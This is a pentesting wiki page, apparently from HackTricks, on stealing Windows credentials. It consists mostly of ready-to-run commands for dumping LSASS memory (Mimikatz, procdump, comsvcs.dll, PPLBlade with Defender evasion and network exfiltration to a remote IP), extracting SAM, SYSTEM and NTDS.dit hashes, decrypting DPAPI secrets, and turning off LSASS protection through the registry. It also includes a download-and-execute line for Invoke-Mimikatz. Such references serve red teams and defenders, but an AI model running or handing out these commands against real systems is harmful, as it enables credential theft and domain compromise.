> ## Documentation Index > Fetch the complete documentation index at: https://mintlify.com/HackTricks-wiki/hacktricks/llms.txt > Use this file to discover all available pages before exploring further. # Stealing Windows Credentials > Windows credential theft techniques: Mimikatz, LSASS dumping, SAM extraction, NTDS.dit, DPAPI, and advanced SSP-based dumping ## Overview Windows stores credentials in multiple locations including LSASS process memory, the SAM database, NTDS.dit (Active Directory), and the DPAPI master key store. This page covers how to extract credentials from each location during authorized assessments. Credential theft techniques are for authorized penetration testing and red team operations only. These techniques are highly impactful and must only be used with explicit written authorization. ## Mimikatz Mimikatz is the primary tool for Windows credential extraction: ```bash theme={null} # Elevate privileges and extract everything mimikatz "privilege::debug" "token::elevate" \ "sekurlsa::logonpasswords" \ "lsadump::lsa /inject" \ "lsadump::sam" \ "lsadump::cache" \ "sekurlsa::ekeys" \ "exit" # Individual commands privilege::debug # Enable debug privilege (may fail if already admin) token::elevate # Impersonate SYSTEM token sekurlsa::logonpasswords # Extract from LSASS memory lsadump::lsa /inject # Extract from LSA service lsadump::sam # Extract from SAM database ``` ### PowerShell Invoke-Mimikatz ```powershell theme={null} IEX (New-Object System.Net.Webclient).DownloadString( 'https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1') Invoke-Mimikatz -DumpCreds ``` ## LSASS Dumping Methods ### Procdump (Microsoft Signed) Procdump from Sysinternals is a legitimate Microsoft-signed binary, not flagged by Defender: ```bash theme={null} # Local dump C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp # Remote (from live.sysinternals.com) net use Z: https://live.sysinternals.com Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp ``` Then extract credentials: ```bash theme={null} # Load and parse with Mimikatz mimikatz # sekurlsa::minidump lsass.dmp mimikatz # sekurlsa::logonPasswords ``` ### comsvcs.dll (No Upload Required) ```bash theme={null} # Get LSASS PID Get-Process -Name LSASS # Dump using built-in DLL rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump lsass.dmp full ``` ### Task Manager (GUI Method) 1. Right-click Task Bar → Task Manager → More Details 2. Find "Local Security Authority Process" in Processes tab 3. Right-click → "Create dump file" ### PPLBlade (Bypasses Protected Process Light) [PPLBlade](https://github.com/tastypepperoni/PPLBlade) dumps LSASS while: * Bypassing PPL protection * Obfuscating the dump file to evade Defender signatures * Supporting fileless (in-memory) upload via RAW or SMB ```bash theme={null} PPLBlade.exe --mode dump --name lsass.exe --handle procexp \ --obfuscate --dumpmode network --network raw --ip 192.168.1.17 --port 1234 ``` ### LalsDumper (SSP-Based — No MiniDumpWriteDump) Advanced three-stage dumper that loads a malicious SSP into LSASS, never calling `MiniDumpWriteDump`: 1. **Stage 1 (`lals.exe`)** — patches `fdp.dll` placeholder with path to `rtu.txt`, saves as `nfdp.dll`, calls `AddSecurityPackageA("nfdp","fdp")` to force LSASS to load the rogue SSP 2. **Stage 2 (inside LSASS)** — rogue DLL reads `rtu.txt`, XORs with `0x20`, maps decoded shellcode 3. **Stage 3** — reimplements MiniDump logic via direct syscalls, streams compressed LSASS dump to `%TEMP%\.ddt` ```bash theme={null} # Keep all files in same directory: lals.exe, fdp.dll, rtu.txt # Running lals.exe requires admin/SeTcb rights # Output: %TEMP%\.ddt — decompress, then use with Mimikatz/Volatility ``` ## SAM and SYSTEM Extraction The SAM database stores local account hashes and requires SYSTEM access to read directly. ### From Registry ```bash theme={null} reg save HKLM\sam sam reg save HKLM\system system reg save HKLM\security security ``` Extract hashes on attacker machine: ```bash theme={null} samdump2 SYSTEM SAM impacket-secretsdump -sam sam -security security -system system LOCAL ``` ### Volume Shadow Copy ```bash theme={null} # Create shadow copy vssadmin create shadow /for=C: # Copy SAM from shadow (replace HarddiskVolumeShadowCopy8 with your copy number) copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SAM C:\Extracted\SAM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit ``` PowerShell alternative: ```powershell theme={null} $service=(Get-Service -name VSS) if($service.Status -ne "Running"){$notrunning=1;$service.Start()} $id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID $volume=(gwmi win32_shadowcopy -filter "ID='$id'") cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public cmd /c copy "$($volume.DeviceObject)\windows\system32\config\system" C:\Users\Public cmd /c copy "$($volume.DeviceObject)\windows\ntds\ntds.dit" C:\Users\Public $volume.Delete();if($notrunning -eq 1){$service.Stop()} ``` ## NTDS.dit — Active Directory Database The `NTDS.dit` file is the AD database containing all domain user password hashes. Hash decryption requires three layers: 1. Decrypt PEK (Password Encryption Key) using BOOTKEY + RC4 2. Decrypt hash using PEK + RC4 3. Decrypt hash using DES ### Copy NTDS.dit ```bash theme={null} # Using ntdsutil (Windows Server 2008+) ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit ``` ### Extract Hashes ```bash theme={null} # Impacket secretsdump (remote — requires DA credentials) secretsdump.py -just-dc-ntlm /@ # Local extraction secretsdump.py LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt # For large NTDS.dit files gosecretsdump -ntds ntds.dit -system SYSTEM ``` ### Export NTDS to SQLite ```bash theme={null} ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive # Extracts: user/machine accounts, hashes, UAC flags, group membership, OUs, trust info ``` ## CrackMapExec Credential Dumping ```bash theme={null} # Dump SAM hashes cme smb 192.168.1.0/24 -u UserName -p 'PASSWORD' --sam # Dump LSA secrets cme smb 192.168.1.0/24 -u UserName -p 'PASSWORD' --lsa # Dump NTDS.dit from DC cme smb 192.168.1.100 -u UserName -p 'PASSWORD' --ntds ``` ## DPAPI — Decrypting Stored Credentials DPAPI protects stored credentials, browser passwords, and PowerShell credentials: ```bash theme={null} # Locate DPAPI master keys Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ # Locate DPAPI-protected credential files dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ # Mimikatz DPAPI decryption dpapi::masterkey /pvk:backupkey.pvk /in:MasterKeyFile dpapi::cred /masterkey: /in:CredentialFile # Extract master keys from memory (requires SYSTEM) sekurlsa::dpapi ``` ## Mining Idle RDP Sessions After compromise, harvest credentials from users with active RDP sessions: ```powershell theme={null} # Find outbound RDP targets from all user hives Get-ChildItem HKU:\ | Where-Object { $_.Name -match "S-1-5-21" } | ForEach-Object { Get-ChildItem "${_.Name}\SOFTWARE\Microsoft\Terminal Server Client\Servers" -EA SilentlyContinue | ForEach-Object { $server = Split-Path $_.Name -Leaf $user = (Get-ItemProperty $_.Name).UsernameHint "OUT:$server:$user:$((Get-Item $_.Name).LastWriteTime)" } } # Find inbound RDP evidence (Event IDs 21=logon, 25=disconnect) Get-WinEvent -LogName "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" ` | Where-Object { $_.Id -in 21,25 } ` | Select-Object TimeCreated,@{n='User';e={$_.Properties[1].Value}},@{n='IP';e={$_.Properties[2].Value}} ``` ## Registry Downgrades for Credential Theft FinalDraft-style implants set registry keys to enable credential theft: ```cmd theme={null} reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 1 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 0 /f ``` * `DisableRestrictedAdmin=1` — enables full credential/ticket reuse during RDP (Pass-the-Hash via RDP) * `LocalAccountTokenFilterPolicy=1` — disables UAC token filtering over the network * `RunAsPPL=0` — removes LSASS PPL protection, making memory dumps trivial ## Invoke-NinjaCopy Invoke-NinjaCopy can read files locked by the OS (SAM, NTDS.dit, SYSTEM hive) without VSS: ```powershell theme={null} # Copy SAM and SYSTEM hives while locked Invoke-NinjaCopy -Path "C:\Windows\System32\config\SAM" -LocalDestination "C:\temp\SAM" Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM" # Extract from SAM offline secretsdump.py -sam C:\temp\SAM -system C:\temp\SYSTEM LOCAL ``` ## Meterpreter Credential Harvesting If you have a Meterpreter shell: ```bash theme={null} # Load kiwi (in-memory Mimikatz) meterpreter> load kiwi meterpreter> creds_all # All credentials meterpreter> lsa_dump_sam # SAM hashes meterpreter> lsa_dump_secrets # LSA secrets # Using Metasploit module msf> use post/multi/recon/local_exploit_suggester msf> use post/windows/gather/credentials/credential_collector msf> use post/windows/gather/smart_hashdump ``` ## Additional Tools ```bash theme={null} # Lazagne — extracts credentials from many applications lazagne.exe all # Windows Credentials Editor wce.exe -w # List passwords in memory # fgdump / PwDump7 — SAM extraction fgdump.exe PwDump.exe -o outpwdump -x 127.0.0.1 ``` ## References * [Mimikatz](https://github.com/gentilkiwi/mimikatz) * [Impacket](https://github.com/fortra/impacket) * [PPLBlade](https://github.com/tastypepperoni/PPLBlade) * [LaZagne](https://github.com/AlessandroZ/LaZagne) * [en.hackndo — Remote LSASS Dump](https://en.hackndo.com/remote-lsass-dump-passwords/) * [Check Point Research — Ink Dragon](https://research.checkpoint.com/2025/ink-dragons-relay-network-and-offensive-operation/)